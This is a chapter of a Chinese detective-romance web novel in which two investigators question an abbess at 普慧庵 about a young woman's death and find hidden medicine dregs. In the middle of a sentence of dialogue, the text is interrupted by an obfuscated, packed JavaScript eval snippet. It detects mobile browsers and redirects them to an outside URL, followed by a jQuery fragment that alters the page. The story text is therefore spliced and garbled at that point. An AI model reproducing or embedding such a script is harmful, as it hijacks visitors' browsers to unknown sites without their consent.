13. 一花杀(七)
作品:《案发现场禁止心动》 “安小姐可是第一次来普慧庵?”师太含笑问道,声音温和却带着审视。
“正是。”安慕青从容应答,“久闻师太德行高深,今日得见,果然名不虚传。”
师太连连摆手:“施主过誉了。不过是守着青灯古佛,度此残生罢了。”她说着,目光却仍在安慕青身上流连,似乎在评估着什么。
姜培之适时插话,笑吟吟道:“师太可别小看安小姐,她可是……”
“世子过誉了。”安慕青轻声打断。
慧明师太会意一笑,不再多问,转身引路:“二位快请进,斋饭已经备好了。”
安慕青跟在后面,心中却已对这位师太有了判断——看似慈祥的出家人,实则是个心思缜密、善于周旋的人物。这样的师太,若是想隐瞒什么,定会做得滴水不漏。
安慕青跟在后面,看着姜培之与师太谈笑风生,不得不佩服这位世子爷的本事。他三言两语就哄得师太眉开眼笑,又是问庵中近况,又是关心师太身体,俨然一个孝顺晚辈的模样。
用斋时,姜培之状似无意地提起:“听说平安伯府的陆小姐前些日子在贵庵静养?”
慧明师太笑容微顿,随即合十道:“陆小姐确实在此静修过数月。那孩子心诚,日日诵经祈福,很是虔诚。”
“哦?”姜培之夹了一筷子素斋,“不知陆小姐在此可有什么特别的事?”
师太低头念佛:“佛门清净地,能有什么特别的事。陆小姐每日除了诵经就是抄经,很是安分。”
安慕青注意到,师太说这话时手指不自觉地捻着佛珠,显然有所隐瞒。
姜培之却不追问,反而笑道:“那倒是。贵庵环境清幽,最适合静养。说起来,家母还说想来小住几日呢。”
师太明显松了口气,连忙接话:“国公夫人若来,敝定当尽心招待。”
全程安慕青就当做透明人,不过这个这个慧明师太还真是滴水不漏。
用完斋饭,姜培之起身告辞:“多谢师太款待。既然来了,我想带安小姐在庵中走走,欣赏欣赏景致。”
师太自然满口答应,还特意派了个小尼姑带路。
走出斋堂,在小尼姑的指引下,二人看似随意地在庵中漫步。经过一处僻静的禅院时,姜培之忽然停下脚步:“这里倒是清幽,陆小姐当初可是住在这边?”
小尼姑怯生生地点头:“是……陆小姐就住在西厢房。”
安慕青与姜培之交换了一个眼神。看来,这普慧庵里确实藏着什么秘密。
二人故意落后小尼姑几步,姜培之摇着扇子对安慕青低笑:“如何?本世子这套本事还不错吧?”
安慕青淡淡瞥他一眼:“世子确实……很会哄人。”
“这可是夸我?”姜培之凑近些,眼中带笑,“安小姐若是想学,我可以教你。”
“不必。”安慕青加快脚步,“还是查案要紧。”
姜培之笑着不语。
安慕青忽然停下脚步,侧眸看向姜培之:“世子昨日就与师太通过消息了?”
姜培之摇扇的手微微一顿,随即笑道:“安小姐果然敏锐。不错,昨日晚间我便派人来打过招呼,说是今日要带位女眷来上香。”
“难怪。”安慕青了然,”师太见到我们时毫不意外,还备好了斋饭。”
姜培之凑近些,压低声音:“若不提前打点,怎好方便查案?”他眨眨眼,“不过师太显然有所防备,方才席间半点口风都不露。”
安慕青望向不远处禅院的飞檐:“既然明着问不出,不如分头查探。”
“正合我意。”姜培之折扇一收,下巴微抬,“我去和那位小尼姑''随便聊聊'',安小姐可带着青樱在庵中''随意走走''。”
安慕青点头,带着青樱往禅院方向走去。姜培之目送她离去,脸上重新挂起那副玩世不恭的笑容。
“师太,”他笑吟吟地跟上小尼姑,“方才忘了问,家母托我带来的香油钱……”
这边安慕青带着青樱走进禅院,只见院内古木参天,十分清幽。西厢房的门虚掩着,她轻轻推开,里面陈设简单,只有一张床榻、一个妆台和一套桌椅。
“小姐,”青樱小声说,“这里好像刚打扫过。”
安慕青仔细查看妆台,发现抽屉里空空如也,连根发丝都没有。床榻上的被褥也换洗过,看不出任何居住过的痕迹。
“陆小姐在此住了数月,竟半点痕迹都没留下。”安慕青若有所思,“未免太干净了。”
她走到窗边,推开窗户。窗外是一片竹林,风吹竹叶沙沙作响。忽然,她注意到窗棂上有一道浅浅的划痕,像是被什么利器划过。
“青樱,去问问庵里的小师父,陆小姐平日都做些什么。”
青樱应声而去。安慕青独自在房中仔细搜查,终于在床榻缝隙里发现了一小片揉皱的纸屑。展开一看,上面似乎写着半个“花”字。
安慕青正欲关窗,目光不经意扫过窗外的竹林。一株老槐树下,有堆杂草显得格外突兀——颜色深褐,质地松散,不像是自然生长的野草。
她心中一动,借口透气走出禅房,缓步来到树下。蹲下身仔细查看,那堆“杂草”果然是被刻意掩埋的药渣,还带着淡淡的苦涩气味。她迅速用帕子包了一小撮藏入袖中。
这时青樱回来了,小声禀报:“小姐,问了几位小师父,都说陆小姐平日除了诵经就是抄经,从不与人多话。”
安慕青心中了然。这般滴水不漏的回答,显然是有人特意交代过。
“女施主,”方才那个小尼姑又来了,“师太请二位去禅房用茶。”
安慕青点点头,跟着小尼姑往外走。刚到院门口,就遇见姜培之摇着扇子走来。
“安小姐,”他笑得意味深长,“师太备了好茶,咱们可不能不赏脸。”
二人交换了一个眼神,默契地没有多言。
禅房内茶香袅袅,慧明师太亲手为二人斟茶。安慕青轻抿一口,状似不经意地开口:“师太,陆小姐突然离世,实在令人惋惜。我嫡姐与陆家有些交情,想为陆小姐供奉几盏海灯。”
师太合十念佛:“阿弥陀佛,安小姐有心了。”
“只是……”安慕青面露难色,“我听说陆家二房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281269|182233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的陆蝶小姐与陆锦绣感情甚笃,不知她们姐妹平日是如何供奉的?我也好参照着办。”
慧明师太捻佛珠的手微微一顿:“陆蝶小姐?贫尼不曾听说她与陆小姐特别亲近。”
“哦?”安慕青故作惊讶,“可我听说陆蝶常来庵中探望……”
“绝无此事。”师太打断道,语气略显急促,“陆小姐在此静养期间,除了伯夫人偶尔来看望,并无其他家眷来访。”
安慕青与姜培之交换了一个眼神。这可就奇怪了——她在平安伯府打听时,分明听说陆蝶与陆锦绣姐妹情深,时常相伴上香。
姜培之笑着打圆场:“许是记错了。师太,陆家其他公子小姐可曾来过?比如那位柳表小姐?”
师太摇头:“都不曾来过。陆小姐在此静修,伯爷特意交代过,不许旁人打扰。”
安慕青垂眸品茶,心中疑窦丛生。陆锦绣在庵中五月,竟无一个兄弟姐妹来看望?这未免太不合常理。除非……有人故意阻拦他们相见。
“原来如此。”她放下茶盏,语气惋惜,“那海灯之事,我便按寻常规矩办吧。”
师太明显松了口气:“安小姐慈悲为怀,陆小姐在天之灵定会感念。”
又闲谈几句后,二人起身告辞。师太亲自送到庵门外,直到马车驶远才转身回去。
马车上,姜培之摇着扇子笑道:“安小姐这招高明。看来陆家姐妹的关系,并不像表面那么简单。”
安慕青望着窗外飞逝的景色:“一个深闺小姐,在庵中五月无人探望,本就蹊跷。更蹊跷的是……”她转头看向姜培之,“连最亲近的姐妹都不曾来过。”
姜培之收起折扇,眼中闪过锐光:“有人在故意隔绝陆锦绣。”
马车驶出一段距离后,姜培之忽然“唰”地展开折扇,眼中闪着狡黠的光:“方才与那小尼姑闲聊,倒是问出些趣事。”
安慕青侧眸:“世子又用了什么手段?”
“不过是夸她眉眼生得秀气,将来定是个美人儿。”姜培之笑得像只狐狸,“小姑娘一高兴,就什么都说了。”
安慕青无奈摇头:“世子倒是……很会投其所好。”
“那是自然。”姜培之凑近些,压低声音,“她说陆锦绣在庵中这五月,房门几乎终日紧闭,连斋饭都是让贴身丫鬟端进去。更奇怪的是……”
他故意顿了顿,见安慕青凝神细听,才继续道:“陆小姐汤药不离手,日日都要煎药,那药味浓得隔老远都能闻到。”
安慕青从袖中取出那包药渣:“我正要说这个。方才在窗外发现的药渣,看着不似寻常治病之药。”
姜培之接过仔细查看:“哦?安小姐还懂药理?”
“在江湖上略学过些。”安慕青指着药渣中的几味药材,“你看这当归、白芍、川芎……都是女子调理气血之用。若再加上之前从伯府带来的药渣……”
二人同时沉默片刻。姜培之忽然轻笑一声:“有意思。一个未出阁的千金小姐,日日服用调理之药,闭门不出五月有余……”
安慕青接话:“回府后''病情好转'',却突然暴毙。”